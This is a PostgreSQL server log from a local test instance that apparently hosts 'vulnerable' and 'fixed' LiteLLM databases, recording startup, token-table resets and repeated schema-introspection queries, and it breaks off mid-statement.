2026-07-07 07:37:53.535 UTC [132012] LOG: starting PostgreSQL 18.4 (Ubuntu 18.4-0ubuntu0.26.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, 64-bit 2026-07-07 07:37:53.535 UTC [132012] LOG: listening on IPv4 address "127.0.0.1", port 42085 2026-07-07 07:37:53.545 UTC [132012] LOG: listening on Unix socket "/data/pruva/project-cache/ea84d142-3b88-4e3b-ad6b-a004b7386804/pglitellm_variant/.s.PGSQL.42085" 2026-07-07 07:37:53.557 UTC [132018] LOG: database system was shut down at 2026-07-07 07:37:49 UTC 2026-07-07 07:37:53.564 UTC [132012] LOG: database system is ready to accept connections 2026-07-07 07:37:53.628 UTC [132023] LOG: statement: SELECT 1 2026-07-07 07:37:53.629 UTC [132023] LOG: duration: 1.061 ms 2026-07-07 07:37:53.634 UTC [132026] LOG: statement: SELECT 1 FROM pg_database WHERE datname='litellm_variant_vuln' 2026-07-07 07:37:53.640 UTC [132026] LOG: duration: 5.984 ms 2026-07-07 07:37:53.644 UTC [132029] LOG: statement: SELECT 1 FROM pg_database WHERE datname='litellm_variant_fixed' 2026-07-07 07:37:53.644 UTC [132029] LOG: duration: 0.294 ms 2026-07-07 07:38:56.363 UTC [132075] LOG: statement: SELECT to_regclass('"LiteLLM_VerificationToken"') 2026-07-07 07:38:56.366 UTC [132075] LOG: duration: 3.395 ms 2026-07-07 07:38:56.371 UTC [132077] LOG: statement: DELETE FROM "LiteLLM_VerificationToken"; 2026-07-07 07:38:56.384 UTC [132077] LOG: duration: 13.278 ms 2026-07-07 07:38:56.405 UTC [132082] LOG: statement: SELECT to_regclass('"LiteLLM_VerificationToken"') 2026-07-07 07:38:56.408 UTC [132082] LOG: duration: 2.232 ms 2026-07-07 07:38:56.411 UTC [132084] LOG: statement: DELETE FROM "LiteLLM_VerificationToken"; 2026-07-07 07:38:56.421 UTC [132084] LOG: duration: 10.308 ms 2026-07-07 07:40:21.097 UTC [132480] LOG: duration: 0.951 ms parse s0: SELECT version() 2026-07-07 07:40:21.097 UTC [132480] LOG: duration: 0.076 ms bind s0: SELECT version() 2026-07-07 07:40:21.097 UTC [132480] LOG: execute s0: SELECT version() 2026-07-07 07:40:21.097 UTC [132480] LOG: duration: 0.017 ms 2026-07-07 07:40:21.099 UTC [132480] LOG: duration: 1.805 ms parse s1: SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = $1), version(), current_setting('server_version_num')::integer as numeric_version; 2026-07-07 07:40:21.100 UTC [132480] LOG: duration: 1.138 ms bind s1: SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = $1), version(), current_setting('server_version_num')::integer as numeric_version; 2026-07-07 07:40:21.100 UTC [132480] DETAIL: Parameters: $1 = 'public' 2026-07-07 07:40:21.100 UTC [132480] LOG: execute s1: SELECT EXISTS(SELECT 1 FROM pg_namespace WHERE nspname = $1), version(), current_setting('server_version_num')::integer as numeric_version; 2026-07-07 07:40:21.100 UTC [132480] DETAIL: Parameters: $1 = 'public' 2026-07-07 07:40:21.100 UTC [132480] LOG: duration: 0.013 ms 2026-07-07 07:40:21.101 UTC [132480] LOG: duration: 0.673 ms parse s2: SELECT namespace.nspname as namespace_name FROM pg_namespace as namespace WHERE namespace.nspname = ANY ( $1 ) ORDER BY namespace_name; 2026-07-07 07:40:21.102 UTC [132480] LOG: duration: 0.726 ms bind s2: SELECT namespace.nspname as namespace_name FROM pg_namespace as namespace WHERE namespace.nspname = ANY ( $1 ) ORDER BY namespace_name; 2026-07-07 07:40:21.102 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.102 UTC [132480] LOG: execute s2: SELECT namespace.nspname as namespace_name FROM pg_namespace as namespace WHERE namespace.nspname = ANY ( $1 ) ORDER BY namespace_name; 2026-07-07 07:40:21.102 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.102 UTC [132480] LOG: duration: 0.020 ms 2026-07-07 07:40:21.104 UTC [132480] LOG: duration: 1.358 ms parse s3: SELECT tbl.relname AS table_name, namespace.nspname as namespace, (tbl.relhassubclass and tbl.relkind = 'p') as is_partition, (tbl.relhassubclass and tbl.relkind = 'r') as has_subclass, tbl.relrowsecurity as has_row_level_security, reloptions, obj_description(tbl.oid, 'pg_class') as description FROM pg_class AS tbl INNER JOIN pg_namespace AS namespace ON namespace.oid = tbl.relnamespace WHERE ( -- (relkind = 'r' and relispartition = 't') matches partition table "duplicates" (tbl.relkind = 'r' AND tbl.relispartition = 'f') OR -- when it's a partition tbl.relkind = 'p' ) AND namespace.nspname = ANY ( $1 ) ORDER BY namespace, table_name; 2026-07-07 07:40:21.106 UTC [132480] LOG: duration: 2.560 ms bind s3: SELECT tbl.relname AS table_name, namespace.nspname as namespace, (tbl.relhassubclass and tbl.relkind = 'p') as is_partition, (tbl.relhassubclass and tbl.relkind = 'r') as has_subclass, tbl.relrowsecurity as has_row_level_security, reloptions, obj_description(tbl.oid, 'pg_class') as description FROM pg_class AS tbl INNER JOIN pg_namespace AS namespace ON namespace.oid = tbl.relnamespace WHERE ( -- (relkind = 'r' and relispartition = 't') matches partition table "duplicates" (tbl.relkind = 'r' AND tbl.relispartition = 'f') OR -- when it's a partition tbl.relkind = 'p' ) AND namespace.nspname = ANY ( $1 ) ORDER BY namespace, table_name; 2026-07-07 07:40:21.106 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.106 UTC [132480] LOG: execute s3: SELECT tbl.relname AS table_name, namespace.nspname as namespace, (tbl.relhassubclass and tbl.relkind = 'p') as is_partition, (tbl.relhassubclass and tbl.relkind = 'r') as has_subclass, tbl.relrowsecurity as has_row_level_security, reloptions, obj_description(tbl.oid, 'pg_class') as description FROM pg_class AS tbl INNER JOIN pg_namespace AS namespace ON namespace.oid = tbl.relnamespace WHERE ( -- (relkind = 'r' and relispartition = 't') matches partition table "duplicates" (tbl.relkind = 'r' AND tbl.relispartition = 'f') OR -- when it's a partition tbl.relkind = 'p' ) AND namespace.nspname = ANY ( $1 ) ORDER BY namespace, table_name; 2026-07-07 07:40:21.106 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.108 UTC [132480] LOG: duration: 1.944 ms 2026-07-07 07:40:21.109 UTC [132480] LOG: duration: 0.775 ms parse s4: SELECT schemainfo.nspname AS namespace, tableinfo.relname AS table_name, constr.conname AS constraint_name, constr.contype AS constraint_type, pg_get_constraintdef(constr.oid) AS constraint_definition, constr.condeferrable AS is_deferrable, constr.condeferred AS is_deferred FROM pg_constraint constr JOIN pg_class AS tableinfo ON tableinfo.oid = constr.conrelid JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace WHERE schemainfo.nspname = ANY ( $1 ) AND contype NOT IN ('p', 'u', 'f') ORDER BY namespace, table_name, constr.contype, constraint_name; 2026-07-07 07:40:21.111 UTC [132480] LOG: duration: 1.880 ms bind s4: SELECT schemainfo.nspname AS namespace, tableinfo.relname AS table_name, constr.conname AS constraint_name, constr.contype AS constraint_type, pg_get_constraintdef(constr.oid) AS constraint_definition, constr.condeferrable AS is_deferrable, constr.condeferred AS is_deferred FROM pg_constraint constr JOIN pg_class AS tableinfo ON tableinfo.oid = constr.conrelid JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace WHERE schemainfo.nspname = ANY ( $1 ) AND contype NOT IN ('p', 'u', 'f') ORDER BY namespace, table_name, constr.contype, constraint_name; 2026-07-07 07:40:21.111 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.111 UTC [132480] LOG: execute s4: SELECT schemainfo.nspname AS namespace, tableinfo.relname AS table_name, constr.conname AS constraint_name, constr.contype AS constraint_type, pg_get_constraintdef(constr.oid) AS constraint_definition, constr.condeferrable AS is_deferrable, constr.condeferred AS is_deferred FROM pg_constraint constr JOIN pg_class AS tableinfo ON tableinfo.oid = constr.conrelid JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace WHERE schemainfo.nspname = ANY ( $1 ) AND contype NOT IN ('p', 'u', 'f') ORDER BY namespace, table_name, constr.contype, constraint_name; 2026-07-07 07:40:21.111 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.115 UTC [132480] LOG: duration: 3.617 ms 2026-07-07 07:40:21.117 UTC [132480] LOG: duration: 1.697 ms parse s5: SELECT views.viewname AS view_name, views.definition AS view_sql, views.schemaname AS namespace, obj_description(class.oid, 'pg_class') AS description FROM pg_catalog.pg_views views INNER JOIN pg_catalog.pg_namespace ns ON views.schemaname = ns.nspname INNER JOIN pg_catalog.pg_class class ON class.relnamespace = ns.oid AND class.relname = views.viewname WHERE schemaname = ANY ( $1 ) 2026-07-07 07:40:21.118 UTC [132480] LOG: duration: 0.563 ms bind s5: SELECT views.viewname AS view_name, views.definition AS view_sql, views.schemaname AS namespace, obj_description(class.oid, 'pg_class') AS description FROM pg_catalog.pg_views views INNER JOIN pg_catalog.pg_namespace ns ON views.schemaname = ns.nspname INNER JOIN pg_catalog.pg_class class ON class.relnamespace = ns.oid AND class.relname = views.viewname WHERE schemaname = ANY ( $1 ) 2026-07-07 07:40:21.118 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.118 UTC [132480] LOG: execute s5: SELECT views.viewname AS view_name, views.definition AS view_sql, views.schemaname AS namespace, obj_description(class.oid, 'pg_class') AS description FROM pg_catalog.pg_views views INNER JOIN pg_catalog.pg_namespace ns ON views.schemaname = ns.nspname INNER JOIN pg_catalog.pg_class class ON class.relnamespace = ns.oid AND class.relname = views.viewname WHERE schemaname = ANY ( $1 ) 2026-07-07 07:40:21.118 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.123 UTC [132480] LOG: duration: 5.411 ms 2026-07-07 07:40:21.123 UTC [132480] LOG: duration: 0.140 ms parse s6: SELECT t.typname AS name, e.enumlabel AS value, n.nspname AS namespace, obj_description(t.oid, 'pg_type') AS description FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace WHERE n.nspname = ANY ( $1 ) ORDER BY e.enumsortorder 2026-07-07 07:40:21.125 UTC [132480] LOG: duration: 1.492 ms bind s6: SELECT t.typname AS name, e.enumlabel AS value, n.nspname AS namespace, obj_description(t.oid, 'pg_type') AS description FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace WHERE n.nspname = ANY ( $1 ) ORDER BY e.enumsortorder 2026-07-07 07:40:21.125 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.125 UTC [132480] LOG: execute s6: SELECT t.typname AS name, e.enumlabel AS value, n.nspname AS namespace, obj_description(t.oid, 'pg_type') AS description FROM pg_type t JOIN pg_enum e ON t.oid = e.enumtypid JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace WHERE n.nspname = ANY ( $1 ) ORDER BY e.enumsortorder 2026-07-07 07:40:21.125 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.126 UTC [132480] LOG: duration: 1.116 ms 2026-07-07 07:40:21.130 UTC [132480] LOG: duration: 3.799 ms parse s7: SELECT oid.namespace, info.table_name, info.column_name, format_type(att.atttypid, att.atttypmod) as formatted_type, info.numeric_precision, info.numeric_scale, info.numeric_precision_radix, info.datetime_precision, info.data_type, info.udt_schema as type_schema_name, info.udt_name as full_data_type, pg_get_expr(attdef.adbin, attdef.adrelid) AS column_default, info.is_nullable, info.is_identity, info.character_maximum_length, col_description(att.attrelid, ordinal_position) AS description FROM information_schema.columns info JOIN pg_attribute att ON att.attname = info.column_name JOIN ( SELECT pg_class.oid, relname, pg_namespace.nspname as namespace FROM pg_class JOIN pg_namespace on pg_namespace.oid = pg_class.relnamespace AND pg_namespace.nspname = ANY ( $1 ) WHERE reltype > 0 ) as oid on oid.oid = att.attrelid AND relname = info.table_name AND namespace = info.table_schema LEFT OUTER JOIN pg_attrdef attdef ON attdef.adrelid = att.attrelid AND attdef.adnum = att.attnum AND table_schema = namespace WHERE table_schema = ANY ( $1 ) ORDER BY namespace, table_name, ordinal_position; 2026-07-07 07:40:21.138 UTC [132480] LOG: duration: 7.490 ms bind s7: SELECT oid.namespace, info.table_name, info.column_name, format_type(att.atttypid, att.atttypmod) as formatted_type, info.numeric_precision, info.numeric_scale, info.numeric_precision_radix, info.datetime_precision, info.data_type, info.udt_schema as type_schema_name, info.udt_name as full_data_type, pg_get_expr(attdef.adbin, attdef.adrelid) AS column_default, info.is_nullable, info.is_identity, info.character_maximum_length, col_description(att.attrelid, ordinal_position) AS description FROM information_schema.columns info JOIN pg_attribute att ON att.attname = info.column_name JOIN ( SELECT pg_class.oid, relname, pg_namespace.nspname as namespace FROM pg_class JOIN pg_namespace on pg_namespace.oid = pg_class.relnamespace AND pg_namespace.nspname = ANY ( $1 ) WHERE reltype > 0 ) as oid on oid.oid = att.attrelid AND relname = info.table_name AND namespace = info.table_schema LEFT OUTER JOIN pg_attrdef attdef ON attdef.adrelid = att.attrelid AND attdef.adnum = att.attnum AND table_schema = namespace WHERE table_schema = ANY ( $1 ) ORDER BY namespace, table_name, ordinal_position; 2026-07-07 07:40:21.138 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.138 UTC [132480] LOG: execute s7: SELECT oid.namespace, info.table_name, info.column_name, format_type(att.atttypid, att.atttypmod) as formatted_type, info.numeric_precision, info.numeric_scale, info.numeric_precision_radix, info.datetime_precision, info.data_type, info.udt_schema as type_schema_name, info.udt_name as full_data_type, pg_get_expr(attdef.adbin, attdef.adrelid) AS column_default, info.is_nullable, info.is_identity, info.character_maximum_length, col_description(att.attrelid, ordinal_position) AS description FROM information_schema.columns info JOIN pg_attribute att ON att.attname = info.column_name JOIN ( SELECT pg_class.oid, relname, pg_namespace.nspname as namespace FROM pg_class JOIN pg_namespace on pg_namespace.oid = pg_class.relnamespace AND pg_namespace.nspname = ANY ( $1 ) WHERE reltype > 0 ) as oid on oid.oid = att.attrelid AND relname = info.table_name AND namespace = info.table_schema LEFT OUTER JOIN pg_attrdef attdef ON attdef.adrelid = att.attrelid AND attdef.adnum = att.attnum AND table_schema = namespace WHERE table_schema = ANY ( $1 ) ORDER BY namespace, table_name, ordinal_position; 2026-07-07 07:40:21.138 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.161 UTC [132480] LOG: duration: 23.174 ms 2026-07-07 07:40:21.164 UTC [132480] LOG: duration: 0.839 ms parse s8: SELECT con.oid AS "con_id", att2.attname AS "child_column", cl.relname AS "parent_table", att.attname AS "parent_column", con.confdeltype, con.confupdtype, rel_ns.nspname AS "referenced_schema_name", conname AS constraint_name, child, parent, table_name, namespace, condeferrable, condeferred FROM (SELECT ns.nspname AS "namespace", unnest(con1.conkey) AS "parent", unnest(con1.confkey) AS "child", cl.relname AS table_name, ns.nspname AS schema_name, generate_subscripts(con1.conkey, 1) AS colidx, con1.oid, con1.confrelid, con1.conrelid, con1.conname, con1.confdeltype, con1.confupdtype, con1.condeferrable AS condeferrable, con1.condeferred AS condeferred FROM pg_class cl join pg_constraint con1 on con1.conrelid = cl.oid join pg_namespace ns on cl.relnamespace = ns.oid WHERE ns.nspname = ANY ( $1 ) and con1.contype = 'f' ORDER BY colidx ) con JOIN pg_attribute att on att.attrelid = con.confrelid and att.attnum = con.child JOIN pg_class cl on cl.oid = con.confrelid JOIN pg_attribute att2 on att2.attrelid = con.conrelid and att2.attnum = con.parent JOIN pg_class rel_cl on con.confrelid = rel_cl.oid JOIN pg_namespace rel_ns on rel_cl.relnamespace = rel_ns.oid ORDER BY namespace, table_name, constraint_name, con_id, con.colidx; 2026-07-07 07:40:21.164 UTC [132480] LOG: duration: 0.662 ms bind s8: SELECT con.oid AS "con_id", att2.attname AS "child_column", cl.relname AS "parent_table", att.attname AS "parent_column", con.confdeltype, con.confupdtype, rel_ns.nspname AS "referenced_schema_name", conname AS constraint_name, child, parent, table_name, namespace, condeferrable, condeferred FROM (SELECT ns.nspname AS "namespace", unnest(con1.conkey) AS "parent", unnest(con1.confkey) AS "child", cl.relname AS table_name, ns.nspname AS schema_name, generate_subscripts(con1.conkey, 1) AS colidx, con1.oid, con1.confrelid, con1.conrelid, con1.conname, con1.confdeltype, con1.confupdtype, con1.condeferrable AS condeferrable, con1.condeferred AS condeferred FROM pg_class cl join pg_constraint con1 on con1.conrelid = cl.oid join pg_namespace ns on cl.relnamespace = ns.oid WHERE ns.nspname = ANY ( $1 ) and con1.contype = 'f' ORDER BY colidx ) con JOIN pg_attribute att on att.attrelid = con.confrelid and att.attnum = con.child JOIN pg_class cl on cl.oid = con.confrelid JOIN pg_attribute att2 on att2.attrelid = con.conrelid and att2.attnum = con.parent JOIN pg_class rel_cl on con.confrelid = rel_cl.oid JOIN pg_namespace rel_ns on rel_cl.relnamespace = rel_ns.oid ORDER BY namespace, table_name, constraint_name, con_id, con.colidx; 2026-07-07 07:40:21.164 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.164 UTC [132480] LOG: execute s8: SELECT con.oid AS "con_id", att2.attname AS "child_column", cl.relname AS "parent_table", att.attname AS "parent_column", con.confdeltype, con.confupdtype, rel_ns.nspname AS "referenced_schema_name", conname AS constraint_name, child, parent, table_name, namespace, condeferrable, condeferred FROM (SELECT ns.nspname AS "namespace", unnest(con1.conkey) AS "parent", unnest(con1.confkey) AS "child", cl.relname AS table_name, ns.nspname AS schema_name, generate_subscripts(con1.conkey, 1) AS colidx, con1.oid, con1.confrelid, con1.conrelid, con1.conname, con1.confdeltype, con1.confupdtype, con1.condeferrable AS condeferrable, con1.condeferred AS condeferred FROM pg_class cl join pg_constraint con1 on con1.conrelid = cl.oid join pg_namespace ns on cl.relnamespace = ns.oid WHERE ns.nspname = ANY ( $1 ) and con1.contype = 'f' ORDER BY colidx ) con JOIN pg_attribute att on att.attrelid = con.confrelid and att.attnum = con.child JOIN pg_class cl on cl.oid = con.confrelid JOIN pg_attribute att2 on att2.attrelid = con.conrelid and att2.attnum = con.parent JOIN pg_class rel_cl on con.confrelid = rel_cl.oid JOIN pg_namespace rel_ns on rel_cl.relnamespace = rel_ns.oid ORDER BY namespace, table_name, constraint_name, con_id, con.colidx; 2026-07-07 07:40:21.164 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.165 UTC [132480] LOG: duration: 0.868 ms 2026-07-07 07:40:21.166 UTC [132480] LOG: duration: 0.203 ms parse s9: WITH rawindex AS ( SELECT indrelid, indexrelid, indisunique, indisprimary, unnest(indkey) AS indkeyid, generate_subscripts(indkey, 1) AS indkeyidx, unnest(indclass) AS indclass, unnest(indoption) AS indoption FROM pg_index -- https://www.postgresql.org/docs/current/catalog-pg-index.html WHERE indpred IS NULL -- filter out partial indexes AND NOT indisexclusion -- filter out exclusion constraints ) SELECT schemainfo.nspname AS namespace, indexinfo.relname AS index_name, tableinfo.relname AS table_name, columninfo.attname AS column_name, rawindex.indisunique AS is_unique, rawindex.indisprimary AS is_primary_key, rawindex.indkeyidx AS column_index, opclass.opcname AS opclass, opclass.opcdefault AS opcdefault, indexaccess.amname AS index_algo, CASE rawindex.indoption & 1 WHEN 1 THEN 'DESC' ELSE 'ASC' END AS column_order, CASE rawindex.indoption & 2 WHEN 2 THEN true ELSE false END AS nulls_first, pc.condeferrable AS condeferrable, pc.condeferred AS condeferred FROM rawindex INNER JOIN pg_class AS tableinfo ON tableinfo.oid = rawindex.indrelid INNER JOIN pg_class AS indexinfo ON indexinfo.oid = rawindex.indexrelid INNER JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace LEFT JOIN pg_attribute AS columninfo ON columninfo.attrelid = tableinfo.oid AND columninfo.attnum = rawindex.indkeyid INNER JOIN pg_am AS indexaccess ON indexaccess.oid = indexinfo.relam LEFT JOIN pg_opclass AS opclass -- left join because crdb has no opclasses ON opclass.oid = rawindex.indclass LEFT JOIN pg_constraint pc ON rawindex.indexrelid = pc.conindid AND pc.contype <> 'f' WHERE schemainfo.nspname = ANY ( $1 ) ORDER BY namespace, table_name, index_name, column_index; 2026-07-07 07:40:21.167 UTC [132480] LOG: duration: 1.663 ms bind s9: WITH rawindex AS ( SELECT indrelid, indexrelid, indisunique, indisprimary, unnest(indkey) AS indkeyid, generate_subscripts(indkey, 1) AS indkeyidx, unnest(indclass) AS indclass, unnest(indoption) AS indoption FROM pg_index -- https://www.postgresql.org/docs/current/catalog-pg-index.html WHERE indpred IS NULL -- filter out partial indexes AND NOT indisexclusion -- filter out exclusion constraints ) SELECT schemainfo.nspname AS namespace, indexinfo.relname AS index_name, tableinfo.relname AS table_name, columninfo.attname AS column_name, rawindex.indisunique AS is_unique, rawindex.indisprimary AS is_primary_key, rawindex.indkeyidx AS column_index, opclass.opcname AS opclass, opclass.opcdefault AS opcdefault, indexaccess.amname AS index_algo, CASE rawindex.indoption & 1 WHEN 1 THEN 'DESC' ELSE 'ASC' END AS column_order, CASE rawindex.indoption & 2 WHEN 2 THEN true ELSE false END AS nulls_first, pc.condeferrable AS condeferrable, pc.condeferred AS condeferred FROM rawindex INNER JOIN pg_class AS tableinfo ON tableinfo.oid = rawindex.indrelid INNER JOIN pg_class AS indexinfo ON indexinfo.oid = rawindex.indexrelid INNER JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace LEFT JOIN pg_attribute AS columninfo ON columninfo.attrelid = tableinfo.oid AND columninfo.attnum = rawindex.indkeyid INNER JOIN pg_am AS indexaccess ON indexaccess.oid = indexinfo.relam LEFT JOIN pg_opclass AS opclass -- left join because crdb has no opclasses ON opclass.oid = rawindex.indclass LEFT JOIN pg_constraint pc ON rawindex.indexrelid = pc.conindid AND pc.contype <> 'f' WHERE schemainfo.nspname = ANY ( $1 ) ORDER BY namespace, table_name, index_name, column_index; 2026-07-07 07:40:21.167 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.167 UTC [132480] LOG: execute s9: WITH rawindex AS ( SELECT indrelid, indexrelid, indisunique, indisprimary, unnest(indkey) AS indkeyid, generate_subscripts(indkey, 1) AS indkeyidx, unnest(indclass) AS indclass, unnest(indoption) AS indoption FROM pg_index -- https://www.postgresql.org/docs/current/catalog-pg-index.html WHERE indpred IS NULL -- filter out partial indexes AND NOT indisexclusion -- filter out exclusion constraints ) SELECT schemainfo.nspname AS namespace, indexinfo.relname AS index_name, tableinfo.relname AS table_name, columninfo.attname AS column_name, rawindex.indisunique AS is_unique, rawindex.indisprimary AS is_primary_key, rawindex.indkeyidx AS column_index, opclass.opcname AS opclass, opclass.opcdefault AS opcdefault, indexaccess.amname AS index_algo, CASE rawindex.indoption & 1 WHEN 1 THEN 'DESC' ELSE 'ASC' END AS column_order, CASE rawindex.indoption & 2 WHEN 2 THEN true ELSE false END AS nulls_first, pc.condeferrable AS condeferrable, pc.condeferred AS condeferred FROM rawindex INNER JOIN pg_class AS tableinfo ON tableinfo.oid = rawindex.indrelid INNER JOIN pg_class AS indexinfo ON indexinfo.oid = rawindex.indexrelid INNER JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace LEFT JOIN pg_attribute AS columninfo ON columninfo.attrelid = tableinfo.oid AND columninfo.attnum = rawindex.indkeyid INNER JOIN pg_am AS indexaccess ON indexaccess.oid = indexinfo.relam LEFT JOIN pg_opclass AS opclass -- left join because crdb has no opclasses ON opclass.oid = rawindex.indclass LEFT JOIN pg_constraint pc ON rawindex.indexrelid = pc.conindid AND pc.contype <> 'f' WHERE schemainfo.nspname = ANY ( $1 ) ORDER BY namespace, table_name, index_name, column_index; 2026-07-07 07:40:21.167 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.176 UTC [132480] LOG: duration: 8.408 ms 2026-07-07 07:40:21.176 UTC [132480] LOG: duration: 0.070 ms parse s10: SELECT p.proname AS name, n.nspname as namespace, CASE WHEN l.lanname = 'internal' THEN p.prosrc ELSE pg_get_functiondef(p.oid) END as definition FROM pg_proc p LEFT JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_language l ON p.prolang = l.oid WHERE n.nspname = ANY ( $1 ) 2026-07-07 07:40:21.178 UTC [132480] LOG: duration: 1.103 ms bind s10: SELECT p.proname AS name, n.nspname as namespace, CASE WHEN l.lanname = 'internal' THEN p.prosrc ELSE pg_get_functiondef(p.oid) END as definition FROM pg_proc p LEFT JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_language l ON p.prolang = l.oid WHERE n.nspname = ANY ( $1 ) 2026-07-07 07:40:21.178 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.178 UTC [132480] LOG: execute s10: SELECT p.proname AS name, n.nspname as namespace, CASE WHEN l.lanname = 'internal' THEN p.prosrc ELSE pg_get_functiondef(p.oid) END as definition FROM pg_proc p LEFT JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_language l ON p.prolang = l.oid WHERE n.nspname = ANY ( $1 ) 2026-07-07 07:40:21.178 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.179 UTC [132480] LOG: duration: 1.003 ms 2026-07-07 07:40:21.179 UTC [132480] LOG: duration: 0.043 ms parse s11: SELECT ext.extname AS extension_name, ext.extversion AS extension_version, ext.extrelocatable AS extension_relocatable, pn.nspname AS extension_schema FROM pg_extension ext INNER JOIN pg_namespace pn ON ext.extnamespace = pn.oid ORDER BY ext.extname ASC 2026-07-07 07:40:21.179 UTC [132480] LOG: duration: 0.531 ms bind s11: SELECT ext.extname AS extension_name, ext.extversion AS extension_version, ext.extrelocatable AS extension_relocatable, pn.nspname AS extension_schema FROM pg_extension ext INNER JOIN pg_namespace pn ON ext.extnamespace = pn.oid ORDER BY ext.extname ASC 2026-07-07 07:40:21.179 UTC [132480] LOG: execute s11: SELECT ext.extname AS extension_name, ext.extversion AS extension_version, ext.extrelocatable AS extension_relocatable, pn.nspname AS extension_schema FROM pg_extension ext INNER JOIN pg_namespace pn ON ext.extnamespace = pn.oid ORDER BY ext.extname ASC 2026-07-07 07:40:21.180 UTC [132480] LOG: duration: 0.246 ms 2026-07-07 07:40:21.180 UTC [132480] LOG: duration: 0.492 ms parse s12: SELECT sequence_name, sequence_schema AS namespace, start_value::INT8, minimum_value::INT8 AS min_value, maximum_value::INT8 AS max_value, increment::INT8 AS increment_by, (CASE cycle_option WHEN 'yes' THEN TRUE ELSE FALSE END) AS cycle, 0::INT8 AS cache_size FROM information_schema.sequences WHERE sequence_schema = ANY ( $1 ) ORDER BY sequence_name 2026-07-07 07:40:21.181 UTC [132480] LOG: duration: 0.247 ms bind s12: SELECT sequence_name, sequence_schema AS namespace, start_value::INT8, minimum_value::INT8 AS min_value, maximum_value::INT8 AS max_value, increment::INT8 AS increment_by, (CASE cycle_option WHEN 'yes' THEN TRUE ELSE FALSE END) AS cycle, 0::INT8 AS cache_size FROM information_schema.sequences WHERE sequence_schema = ANY ( $1 ) ORDER BY sequence_name 2026-07-07 07:40:21.181 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.181 UTC [132480] LOG: execute s12: SELECT sequence_name, sequence_schema AS namespace, start_value::INT8, minimum_value::INT8 AS min_value, maximum_value::INT8 AS max_value, increment::INT8 AS increment_by, (CASE cycle_option WHEN 'yes' THEN TRUE ELSE FALSE END) AS cycle, 0::INT8 AS cache_size FROM information_schema.sequences WHERE sequence_schema = ANY ( $1 ) ORDER BY sequence_name 2026-07-07 07:40:21.181 UTC [132480] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:40:21.181 UTC [132480] LOG: duration: 0.587 ms 2026-07-07 07:40:24.828 UTC [132534] LOG: duration: 0.247 ms parse s0: SELECT 1 2026-07-07 07:40:24.828 UTC [132534] LOG: duration: 0.098 ms bind s0: SELECT 1 2026-07-07 07:40:24.828 UTC [132534] LOG: execute s0: SELECT 1 2026-07-07 07:40:24.828 UTC [132534] LOG: duration: 0.018 ms 2026-07-07 07:40:24.834 UTC [132534] LOG: duration: 5.595 ms parse s1: WITH existing_views AS ( SELECT viewname FROM pg_views WHERE schemaname = 'public' AND viewname IN ( 'LiteLLM_VerificationTokenView', 'MonthlyGlobalSpend', 'Last30dKeysBySpend', 'Last30dModelsBySpend', 'MonthlyGlobalSpendPerKey', 'MonthlyGlobalSpendPerUserPerKey', 'Last30dTopEndUsersSpend', 'DailyTagSpend' ) ) SELECT (SELECT COUNT(*) FROM existing_views) AS view_count, ARRAY_AGG(viewname) AS view_names FROM existing_views 2026-07-07 07:40:24.835 UTC [132536] LOG: duration: 0.443 ms parse s2: SELECT reltuples::BIGINT FROM pg_class WHERE oid = '"LiteLLM_SpendLogs"'::regclass; 2026-07-07 07:40:24.835 UTC [132536] LOG: duration: 0.188 ms bind s2: SELECT reltuples::BIGINT FROM pg_class WHERE oid = '"LiteLLM_SpendLogs"'::regclass; 2026-07-07 07:40:24.835 UTC [132536] LOG: execute s2: SELECT reltuples::BIGINT FROM pg_class WHERE oid = '"LiteLLM_SpendLogs"'::regclass; 2026-07-07 07:40:24.835 UTC [132536] LOG: duration: 0.017 ms 2026-07-07 07:40:24.835 UTC [132534] LOG: duration: 0.879 ms bind s1: WITH existing_views AS ( SELECT viewname FROM pg_views WHERE schemaname = 'public' AND viewname IN ( 'LiteLLM_VerificationTokenView', 'MonthlyGlobalSpend', 'Last30dKeysBySpend', 'Last30dModelsBySpend', 'MonthlyGlobalSpendPerKey', 